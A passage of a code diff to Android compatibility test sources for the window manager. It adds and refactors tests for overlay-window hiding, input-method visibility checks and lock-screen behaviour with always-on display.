+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+    }
+
+    void setHideOverlayWindowsAndWaitForPong(boolean hide) {
+        Intent intent = new Intent(ACTION);
+        intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
+        mContext.sendBroadcast(intent);
+        mPongReceiver.waitForPong();
+    }
+
+    public static class BaseSystemWindowActivity extends Activity {
+
+        TextView mTextView;
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
+
+            final Point size = new Point();
+            getDisplay().getRealSize(size);
+
+            WindowManager.LayoutParams params =
+                    new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY, 0);
+            params.width = size.x / 3;
+            params.height = size.y / 3;
+            params.gravity = TOP | LEFT;
+            params.setTitle(windowName);
+            params.setSystemApplicationOverlay(
+                    getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false));
+
+            mTextView = new TextView(this);
+            mTextView.setText(windowName + "   type=" + TYPE_APPLICATION_OVERLAY);
+            mTextView.setBackgroundColor(Color.GREEN);
+
+            getWindowManager().addView(mTextView, params);
+        }
+
+        @Override
+        protected void onDestroy() {
+            super.onDestroy();
+            getWindowManager().removeView(mTextView);
+        }
+    }
+
+    // These activities are running the same code, but in different processes to ensure that they
+    // each create their own WindowSession, using the correct permissions. If they are run in the
+    // same process WindowSession is cached and might end up not matching the permissions set up
+    // with adoptShellPermissions
+    public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+    public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+    public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
+    private static class PongReceiver extends BroadcastReceiver {
+
+        volatile ConditionVariable mConditionVariable = new ConditionVariable();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mConditionVariable.open();
+        }
+
+        public void waitForPong() {
+            assertThat(mConditionVariable.block(10000L)).isTrue();
+            mConditionVariable = new ConditionVariable();
+        }
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/InputMethodVisibilityVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/InputMethodVisibilityVerifier.java
new file mode 100644
index 0000000..5cd5060
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/InputMethodVisibilityVerifier.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.os.SystemClock;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.mockime.Watermark;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+
+/**
+ * Provides utility methods to test whether test IMEs are visible to the user or not.
+ */
+public final class InputMethodVisibilityVerifier {
+
+    private static final long SCREENSHOT_DELAY = 100;  // msec
+    private static final long SCREENSHOT_TIME_SLICE = 500;  // msec
+
+    /**
+     * Not intended to be instantiated.
+     */
+    private InputMethodVisibilityVerifier() {
+    }
+
+    @NonNull
+    private static boolean containsWatermark(@NonNull UiAutomation uiAutomation) {
+        return Watermark.detect(uiAutomation.takeScreenshot());
+    }
+
+    @NonNull
+    private static boolean notContainsWatermark(@NonNull UiAutomation uiAutomation) {
+        return !Watermark.detect(uiAutomation.takeScreenshot());
+    }
+
+    private static boolean waitUntil(long timeout, @NonNull Predicate<UiAutomation> condition) {
+        final long startTime = SystemClock.elapsedRealtime();
+        SystemClock.sleep(SCREENSHOT_DELAY);
+
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+
+        // Wait until the main thread becomes idle.
+        final CountDownLatch latch = new CountDownLatch(1);
+        instrumentation.waitForIdle(latch::countDown);
+        try {
+            if (!latch.await(timeout, TimeUnit.MILLISECONDS)) {
+                return false;
+            }
+        } catch (InterruptedException e) {
+        }
+
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        if (condition.test(uiAutomation)) {
+            return true;
+        }
+        while ((SystemClock.elapsedRealtime() - startTime) < timeout) {
+            SystemClock.sleep(SCREENSHOT_TIME_SLICE);
+            if (condition.test(uiAutomation)) {
+                return true;
+            }
+        }
+        return condition.test(uiAutomation);
+    }
+
+    /**
+     * Asserts that {@link com.android.cts.mockime.MockIme} is visible to the user.
+     *
+     * <p>This never succeeds when
+     * {@link com.android.cts.mockime.ImeSettings.Builder#setWatermarkEnabled(boolean)} is
+     * explicitly called with {@code false}.</p>
+     *
+     * @param timeout timeout in milliseconds.
+     */
+    public static void expectImeVisible(long timeout) {
+        assertTrue(waitUntil(timeout, InputMethodVisibilityVerifier::containsWatermark));
+    }
+
+    /**
+     * Asserts that {@link com.android.cts.mockime.MockIme} is not visible to the user.
+     *
+     * <p>This always succeeds when
+     * {@link com.android.cts.mockime.ImeSettings.Builder#setWatermarkEnabled(boolean)} is
+     * explicitly called with {@code false}.</p>
+     *
+     * @param timeout timeout in milliseconds.
+     */
+    public static void expectImeInvisible(long timeout) {
+        assertTrue(waitUntil(timeout, InputMethodVisibilityVerifier::notContainsWatermark));
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index 115310f..92368fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -18,6 +18,7 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.MockImeHelper.createManagedMockImeSession;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
@@ -29,11 +30,14 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import static org.junit.Assert.assertFalse;
@@ -41,21 +45,19 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
 import android.app.Activity;
 import android.app.KeyguardManager;
 import android.content.ComponentName;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
 import android.view.View;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
-
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.MockImeSession;
 
@@ -214,6 +216,40 @@
     }
 
     @Test
+    public void testTurnScreenOnActivity_withSecureKeyguardAndAod() {
+        final AodSession aodSession = createManagedAodSession();
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        testTurnScreenOnActivity_withSecureKeyguard(aodSession, lockScreenSession,
+                false /* enableAod */);
+        testTurnScreenOnActivity_withSecureKeyguard(aodSession, lockScreenSession,
+                true /* enableAod */);
+    }
+
+    private void testTurnScreenOnActivity_withSecureKeyguard(AodSession aodSession,
+            LockScreenSession lockScreenSession, boolean enableAod) {
+        if (enableAod) {
+            assumeTrue(aodSession.isAodAvailable());
+        }
+        aodSession.setAodEnabled(enableAod);
+        lockScreenSession.sleepDevice();
+        mWmState.computeState();
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+
+        final CommandSession.ActivitySessionClient activityClient =
+                createManagedActivityClientSession();
+        final CommandSession.ActivitySession activity = activityClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED, false);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+        mWmState.waitForKeyguardShowingAndNotOccluded();
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, false);
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+        assertFalse(isDisplayOn(DEFAULT_DISPLAY));
+        activity.finish();
+    }
+
+    @Test
     public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.setLockCredential().sleepDevice();
@@ -235,7 +271,7 @@
         lockScreenSession.setLockCredential();
 
         // Show the PiP activity in fullscreen.
-        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_SHOW_OVER_KEYGUARD, "true"));
 
         // Lock the screen and ensure that the PiP activity showing over the LockScreen.
         lockScreenSession.gotoKeyguard(PIP_ACTIVITY);
@@ -264,7 +300,7 @@
         lockScreenSession.setLockCredential();
 
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
@@ -292,7 +328,8 @@
         lockScreenSession.setLockCredential();
 
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_SHOW_OVER_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_SHOW_OVER_KEYGUARD, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
@@ -311,7 +348,8 @@
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_DISMISS_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_DISMISS_KEYGUARD, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index 2e2e7de..ab2a53c 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -16,8 +16,7 @@
 
 package android.server.wm;
 
-import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
 import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -37,6 +36,7 @@
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -50,17 +50,16 @@
 
 import android.content.ComponentName;
 import android.content.res.Configuration;
-import android.hardware.display.AmbientDisplayConfiguration;
 import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.WindowManagerState.WindowState;
-import android.server.wm.settings.SettingsSession;
+import android.server.wm.app.Components;
 
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 
 /**
@@ -70,25 +69,6 @@
 @Presubmit
 @android.server.wm.annotation.Group2
 public class KeyguardTests extends KeyguardTestBase {
-    class AodSession extends SettingsSession<Integer> {
-        private AmbientDisplayConfiguration mConfig;
-
-        AodSession() {
-            super(Settings.Secure.getUriFor(Settings.Secure.DOZE_ALWAYS_ON),
-                    Settings.Secure::getInt,
-                    Settings.Secure::putInt);
-            mConfig = new AmbientDisplayConfiguration(mContext);
-        }
-
-        boolean isAodAvailable() {
-            return mConfig.alwaysOnAvailable();
-        }
-
-        void setAodEnabled(boolean enabled) {
-            set(enabled ? 1 : 0);
-        }
-    }
-
     @Before
     @Override
     public void setUp() throws Exception {
@@ -251,6 +231,8 @@
      */
     @Test
     @Presubmit
+    // TODO (b/169271554): Temporarily switch activity to fullscreen when needing to showWhenLocked
+    @Ignore
     public void testShowWhenLockedActivityWhileSplit() {
         assumeTrue(supportsSplitScreenMultiWindow());
 
@@ -265,8 +247,8 @@
         mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
         mWmState.assertKeyguardShowingAndOccluded();
-        mWmState.assertDoesNotContainStack("Activity must be full screen.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        WindowManagerState.Activity activity = mWmState.getActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        assertFalse(activity.getWindowingMode() == WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -456,6 +438,29 @@
                         WindowManagerState.STATE_RESUMED));
     }
 
+    @Test
+    public void testTurnScreenOnOnActivityOnAod() {
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+
+        final CommandSession.ActivitySessionClient activityClient =
+                createManagedActivityClientSession();
+        activityClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED,
+                            false);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+
+        mWmState.computeState(TURN_SCREEN_ON_ACTIVITY);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertFalse(mWmState.getKeyguardControllerState().keyguardShowing);
+        assertTrue(isDisplayOn(DEFAULT_DISPLAY));
+    }
     /**
      * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
      */
@@ -569,7 +574,7 @@
         mWmState.waitForKeyguardShowingAndNotOccluded();
         mWmState.waitForDisplayUnfrozen();
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         mWmState.assertHomeActivityVisible(false);
         mWmState.assertKeyguardShowingAndNotOccluded();
         // The {@link SHOW_WHEN_LOCKED_ACTIVITY} has gone because of the 'finish' broadcast.
@@ -601,19 +606,17 @@
 
     @Test
     public void testScreenOffWhileOccludedStopsActivityNoAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            aodSession.setAodEnabled(false);
-            testScreenOffWhileOccludedStopsActivity(false /* assertAod */);
-        }
+        final AodSession aodSession = createManagedAodSession();
+        aodSession.setAodEnabled(false);
+        testScreenOffWhileOccludedStopsActivity(false /* assertAod */);
     }
 
     @Test
     public void testScreenOffWhileOccludedStopsActivityAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            assumeTrue(aodSession.isAodAvailable());
-            aodSession.setAodEnabled(true);
-            testScreenOffWhileOccludedStopsActivity(true /* assertAod */);
-        }
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+        testScreenOffWhileOccludedStopsActivity(true /* assertAod */);
     }
 
     /**
@@ -643,19 +646,17 @@
 
     @Test
     public void testScreenOffCausesSingleStopNoAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            aodSession.setAodEnabled(false);
-            testScreenOffCausesSingleStop();
-        }
+        final AodSession aodSession = createManagedAodSession();
+        aodSession.setAodEnabled(false);
+        testScreenOffCausesSingleStop();
     }
 
     @Test
     public void testScreenOffCausesSingleStopAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            assumeTrue(aodSession.isAodAvailable());
-            aodSession.setAodEnabled(true);
-            testScreenOffCausesSingleStop();
-        }
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+        testScreenOffCausesSingleStop();
     }
 
     private void testScreenOffCausesSingleStop() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index f06ed9f..c6c277c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -22,11 +22,11 @@
 import static android.server.wm.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
 import static android.server.wm.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
 import static android.server.wm.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
-import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ACTIVITY;
-import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_ACTIVITY;
-import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY;
-import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.DISABLE_PREVIEW_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY;
 import static android.server.wm.app.Components.WALLPAPAER_ACTIVITY;
 
 import static org.junit.Assert.assertEquals;
@@ -58,9 +58,9 @@
     @Test
     public void testUnlock() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        launchActivity(TEST_ACTIVITY);
+        launchActivity(DISABLE_PREVIEW_ACTIVITY);
         lockScreenSession.gotoKeyguard().unlockDevice();
-        mWmState.computeState(TEST_ACTIVITY);
+        mWmState.computeState(DISABLE_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
                 mWmState.getDefaultDisplayLastTransition());
     }
@@ -78,8 +78,8 @@
     @Test
     public void testOcclude() {
         createManagedLockScreenSession().gotoKeyguard();
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
                 mWmState.getDefaultDisplayLastTransition());
     }
@@ -87,8 +87,8 @@
     @Test
     public void testUnocclude() {
         createManagedLockScreenSession().gotoKeyguard();
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        launchActivity(TEST_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        launchActivity(DISABLE_PREVIEW_ACTIVITY);
         mWmState.waitForKeyguardShowingAndNotOccluded();
         mWmState.computeState();
         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
@@ -98,10 +98,10 @@
     @Test
     public void testNewActivityDuringOccluded() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ACTIVITY);
-        launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
                 mWmState.getDefaultDisplayLastTransition());
     }
@@ -111,11 +111,11 @@
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.gotoKeyguard();
         separateTestJournal();
-        launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
                 mWmState.getDefaultDisplayLastTransition());
-        assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
+        assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY);
     }
 
     @Test
@@ -123,31 +123,32 @@
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.gotoKeyguard();
         separateTestJournal();
-        launchActivity(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
                 mWmState.getDefaultDisplayLastTransition());
-        assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+        assertSingleLaunch(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY);
 
         // Waiting for the standard keyguard since
-        // {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} called
+        // {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY} called
         // {@link Activity#showWhenLocked(boolean)} and removed the attribute.
         lockScreenSession.gotoKeyguard();
         separateTestJournal();
-        // Waiting for {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY} stopped since it
+        // Waiting for {@link SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY} stopped since it
         // already lost show-when-locked attribute.
-        launchActivityNoWait(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
-        mWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY, STATE_STOPPED);
-        assertSingleStartAndStop(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_ACTIVITY);
+        launchActivityNoWait(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY);
+        mWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY,
+                STATE_STOPPED);
+        assertSingleStartAndStop(SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY);
     }
 
     @Test
     public void testNewActivityDuringOccludedWithAttr() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        launchActivity(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
-        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_ACTIVITY);
-        launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
-        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY);
+        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY);
+        launchActivity(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
         assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
                 mWmState.getDefaultDisplayLastTransition());
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index b54f091..083b9b1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -17,15 +17,16 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.server.wm.WindowManagerState.dpToPx;
 import static android.server.wm.ComponentNameUtils.getWindowName;
+import static android.server.wm.WindowManagerState.dpToPx;
 import static android.server.wm.app.Components.BOTTOM_LEFT_LAYOUT_ACTIVITY;
 import static android.server.wm.app.Components.BOTTOM_RIGHT_LAYOUT_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_LEFT_LAYOUT_ACTIVITY;
 import static android.server.wm.app.Components.TOP_RIGHT_LAYOUT_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.systemBars;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -36,6 +37,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.WindowState;
 import android.view.DisplayCutout;
+import android.view.WindowMetrics;
 
 import org.junit.Test;
 
@@ -90,7 +92,7 @@
     public void testMinimalSizeFreeform() throws Exception {
         assumeTrue("Skipping test: no freeform support", supportsFreeform());
 
-        testMinimalSize(WINDOWING_MODE_FREEFORM);
+        testMinimalSize(true /* freeform */);
     }
 
     @Test
@@ -98,20 +100,20 @@
     public void testMinimalSizeDocked() throws Exception {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        testMinimalSize(false /* freeform */);
     }
 
-    private void testMinimalSize(int windowingMode) throws Exception {
+    private void testMinimalSize(boolean freeform) throws Exception {
         // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
         // MIN_WIDTH_DPxMIN_HEIGHT_DP.
